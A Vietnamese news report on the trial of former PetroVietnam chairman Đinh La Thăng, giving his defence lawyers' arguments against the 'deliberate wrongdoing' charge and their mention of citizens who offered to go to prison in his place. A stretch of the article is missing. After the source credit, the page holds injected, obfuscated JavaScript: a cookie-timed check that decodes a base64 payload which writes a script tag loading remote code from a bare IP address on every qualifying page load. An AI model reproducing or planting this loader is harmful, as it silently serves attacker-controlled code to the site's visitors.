Luật sư của ông Đinh La Thăng tiết lộ có người dân viết tâm thư muốn xin đi tù thay

Các luật sư của ông Đinh La Thăng cho rằng ông “cố ý làm trái” là vì mục tiêu bảo đảm tiến độ và hiệu quả đối với dự án, hoàn toàn không có động cơ tư lợi, cá nhân.

Sau khi đại diện Viện kiểm sát luận tội và đề nghị mức án – trong đó ông Đinh La Thăng bị đề nghị mức 14-15 năm tù vì tội “Cố ý làm trái”, phiên tòa xét xử các sai phạm xảy ra ở Tập đoàn dầu khí Việt Nam (PVN) và Tổng công ty Xây lắp dầu khí (PVC) tiếp tục phần tranh tụng.

Luật sư Phan Trung Hoài bào chữa cho bị cáo Đinh La Thăng

Luật sư Phan Trung Hoài – bào chữa cho bị cáo Đinh La Thăng – là người đưa ra quan điểm đầu tiên. Luật sư Hoài cho biết bản thân ông cảm thấy bất ngờ với bản luận tội của VKS vì có nhiều nội dung không giống với bản cáo trạng đã truy tố các bị cáo.

Thứ nhất là ở hành vi gây thiệt hại cho nhà nước thêm nhiều lần do dự án chậm tiến độ: Sáng nay 11-1 tòa có hỏi dự án xong chưa, theo kế hoạch dự toán đến 2014 sẽ xong nhưng đến nay mới được 80%, VKS cho rằng thời gian hoàn thành dự án bị kéo dài gấp đôi, đội vốn đầu tư là do việc làm của các bị cáo trong vụ án này.

Thứ hai là nội dung VKS cho rằng ông Đinh La Thăng đã lợi dụng cơ chế đặc thù chính phủ dành cho PVN để gây lợi ích nhóm. “Như vậy là không công bằng cho ông Đinh La Thăng”, luật sư Hoài nói.

Liên quan đến việc PVN chỉ định thầu dự án Nhà máy Nhiệt điện Thái Bình 2 cho PVC, theo luật sư Hoài, tại cuộc làm việc với PVN ngày 12-2-2009, Thủ tướng Chính phủ đã kết luận đồng ý về nguyên tắc tập đoàn được chỉ định các đơn vị thành viên cung cấp dịch vụ để thực hiện các dự án đầu tư của tập đoàn, nhằm phát huy nội lực và kích cầu dịch vụ trong nước, đồng thời yêu cầu tập đoàn thực hiện đúng các quy định của pháp luật về chỉ định thầu.

“Như vậy, với kết luận của Thủ tướng Chính phủ thì về thẩm quyền, PVN được phép chỉ định các đơn vị thành viên cung cấp dịch vụ để thực hiện các dự án đầu tư của tập đoàn; về trình tự thủ tục, phải thực hiện theo đúng quy định của pháp luật về chỉ định thầu”, luật sư Hoài đưa ra quan điểm.




khởi tố, bắt tạm giam.

“Tôi có một số tài liệu là ý kiến của công dân, nhưng tôi muốn HĐXX tham khảo đánh giá xem xét ông Thăng là người thế nào trước khi định mức án”, luật sư Thiệp nói.

“Trong những tài liệu này, có những người chỉ là người dân bình thường thôi. Họ đã viết những lá thư ngỏ rất cảm động, họ liệt kê những gì ông Thăng làm và nếu có thể, họ muốn đi tù thay cho ông Thăng để ông Thăng được trở về làm việc”.

Trước đó, luật sư Thiệp cho rằng không đủ căn cứ để buộc tội ông Thăng tội “Cố ý làm trái”, bởi không có bằng chứng nào trong 64.000 trang tài liệu thể hiện sự chỉ đạo của ông Đinh La Thăng trong việc chỉ định thầu, chỉ đạo tạm ứng trái quy định.

Luật sư Thiệp cũng đề nghị VKS xem xét lại căn cứ xác định khoản lãi trong thực tế. Luật sư cũng lưu ý căn cứ xác định thiệt hại trong khi nguyên đơn dân sự chưa có yêu cầu bồi thường thiệt hại và không có đơn yêu cầu.

“Nội dung diễn biến phiên tòa cho thấy số tiền thu hồi đã cao hơn số tiền tạm ứng, như vậy toàn bộ thiệt hại đã được xử lý hết thì có hậu quả không?”, luật sư Nguyễn Huy Thiệp đặt câu hỏi và đề nghị VKS tranh luận cụ thể.

Theo tuoitre #(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘

Leave a Reply

Your email address will not be published. Required fields are marked *

This carousel is empty, please add some logos.